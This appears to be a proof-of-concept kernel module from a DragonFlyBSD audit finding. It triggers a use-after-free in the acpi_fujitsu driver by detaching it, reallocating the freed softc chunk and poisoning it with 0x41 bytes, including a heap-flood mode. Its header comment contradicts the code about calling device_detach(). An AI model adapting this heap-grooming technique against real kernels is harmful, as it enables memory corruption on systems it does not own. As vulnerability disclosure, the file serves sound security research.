⬢ DragonFlyBSD Kernel Audit
DF-4647 / fujibang.c
← back to finding ↓ download raw
/*
 * fujibang.c -- DF-4647 PoC trigger (TEST ONLY, never for sys/).
 *
 * sysctl hw.fujibang.action=1:
 *   1. locates acpi_fujitsu0 and captures its softc (and the device_t
 *      stored in the softc's first field),
 *   2. calls device_detach() -- the full official teardown -- which
 *      runs acpi_fujitsu_detach() and then kfree()s the softc
 *      (M_BUS) via device_set_driver(dev, NULL),
 *   3. immediately kmalloc()s the same size from the same M_BUS zone
 *      on the same thread/cpu, checks whether it got the just-freed
 *      softc chunk back (first qword == old device_t), and fills it
 *      with 0x41 to emulate an attacker grooming the freed softc.
 *
 * The acpi_fujitsu module itself stays loaded (only the softc is
 * freed), so a sysctl handler that was already inside
 * acpi_fujitsu_sysctl() when the detach ran resumes into a
 * 0x4141414141414141-laced softc: sc->handle and every nameval .name
 * pointer become wild pointers passed to AcpiEvaluateObject().
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/bus.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/kobj.h>

extern struct malloc_type M_BUS[];

static int fujibang_action(SYSCTL_HANDLER_ARGS);

static int fujibang_act = 0;
SYSCTL_NODE(_hw, OID_AUTO, fujibang, CTLFLAG_RW, 0, "fujitsu bang test");
SYSCTL_PROC(_hw_fujibang, OID_AUTO, action, CTLTYPE_INT | CTLFLAG_RW,
    &fujibang_act, 0, fujibang_action, "I", "1=detach+poison softc");

static void *hold;
static void *known_sc;

static int
fujibang_action(SYSCTL_HANDLER_ARGS)
{
	int error;

	error = sysctl_handle_int(oidp, &fujibang_act, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (fujibang_act == 0)
		return (0);

	if (fujibang_act == 3) {
		devclass_t dc3;
		device_t dev3;

		dc3 = devclass_find("acpi_fujitsu");
		if (dc3 == NULL || (dev3 = devclass_get_device(dc3, 0)) == NULL) {
			kprintf("fujibang: no acpi_fujitsu0 to record\n");
			fujibang_act = 0;
			return (ENOENT);
		}
		known_sc = device_get_softc(dev3);
		kprintf("fujibang: recorded acpi_fujitsu0 softc=%p "
		    "(dev=%p handle=%p)\n",
		    known_sc, dev3, ((void **)known_sc)[1]);
		fujibang_act = 0;
		return (0);
	}

	if (fujibang_act == 2) {
		/*
		 * Flood mode: pull M_BUS chunks and poison any that look
		 * like the freed acpi_fujitsu softc (qword at offset 8 =
		 * the old ACPI handle, a kernel pointer).  On resume the
		 * blocked sysctl handler reads sc->handle / nv.name from
		 * here -> 0x4141414141414141.
		 */
		void *keep[32];
		int nkeep = 0, i;
		void *q;

		for (i = 0; i < 512; ++i) {
			q = kmalloc(208, M_BUS, M_WAITOK);
			if (q == known_sc) {
				kprintf("fujibang: EXACT softc chunk %p -> "
				    "poisoning (handle was %p)\n",
				    q, ((void **)q)[1]);
				memset(q, 0x41, 208);
				hold = q;
				continue;
			}
			if ((((uint64_t *)q)[1] & 0xffff000000000000ULL) ==
			    0xffff000000000000ULL) {
				kprintf("fujibang: candidate softc chunk %p "
				    "(handle=%p) -> poisoning\n",
				    q, ((void **)q)[1]);
				memset(q, 0x41, 208);
				if (nkeep < 32)
					keep[nkeep++] = q;
				else
					kfree(q, M_BUS);
			} else {
				kfree(q, M_BUS);
			}
		}
		kprintf("fujibang: flood done, %d candidates poisoned\n",
		    nkeep);
		fujibang_act = 0;
		return (0);
	}

	if (fujibang_act == 1) {
	devclass_t dc;
	device_t dev;
	driver_t *drv;
	kobj_method_t *m;
	void *sc, *chunk;
	uint64_t expect_dev;
	int error;
	int (*detach_fn)(device_t) = NULL;

	dc = devclass_find("acpi_fujitsu");
	if (dc == NULL) {
		kprintf("fujibang: devclass 'acpi_fujitsu' not found\n");
		fujibang_act = 0;
		return (ENOENT);
	}
	dev = devclass_get_device(dc, 0);
	if (dev == NULL) {
		kprintf("fujibang: acpi_fujitsu0 not present\n");
		fujibang_act = 0;
		return (ENOENT);
	}
	drv = device_get_driver(dev);
	sc = device_get_softc(dev);
	if (drv == NULL || sc == NULL) {
		kprintf("fujibang: no driver/softc\n");
		fujibang_act = 0;
		return (ENOENT);
	}
	expect_dev = *(uint64_t *)sc;
	known_sc = sc;
	kprintf("fujibang: dev=%p softc=%p size=%zu sc->dev=%p\n",
	    dev, sc, (size_t)drv->size, (void *)expect_dev);

	/*
	 * Invoke the driver's own detach method (what kldunload runs),
	 * then drop the driver association -- device_set_driver(dev, NULL)
	 * is what kfree()s the softc (M_BUS).  We deliberately avoid the
	 * full device_detach() newbus wrapper, which wedges when called
	 * from a sysctl handler thread on this ACPI child.
	 */
	for (m = drv->methods; m && m->func; ++m) {
		if (m->desc == NULL)
			continue;
		if (m->desc == &device_detach_desc)
			detach_fn = (int (*)(device_t))m->func;
	}
	if (detach_fn == NULL) {
		kprintf("fujibang: no detach method\n");
		fujibang_act = 0;
		return (ENOENT);
	}
	error = detach_fn(dev);
	kprintf("fujibang: detach method error=%d\n", error);
	if (error) {
		fujibang_act = 0;
		return (error);
	}

	device_set_driver(dev, NULL);		/* kfree(softc, M_BUS) */
	kprintf("fujibang: softc freed\n");

	/*
	 * Same size, same M_BUS zone, same thread/cpu: pull the just
	 * freed softc chunk back and poison it, emulating an attacker
	 * grooming the freed softc.
	 */
	chunk = kmalloc(drv->size, M_BUS, M_WAITOK);
	if (chunk == sc) {
		kprintf("fujibang: EXACT same-thread reuse of softc chunk "
		    "%p -> poisoning\n", chunk);
	} else {
		kprintf("fujibang: different chunk %p (wanted %p)\n",
		    chunk, sc);
	}
	if (chunk == sc) {
		memset(chunk, 0x41, drv->size);
		hold = chunk;
	} else {
		kfree(chunk, M_BUS);
	}

	fujibang_act = 0;
	} /* act == 1 */
	return (0);
}

static int
fujibang_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("fujibang: loaded (sysctl hw.fujibang.action)\n");
		return (0);
	case MOD_UNLOAD:
		if (hold)
			kfree(hold, M_BUS);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t fujibang_mod = { "fujibang", fujibang_load, NULL };
DECLARE_MODULE(fujibang, fujibang_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(fujibang, 1);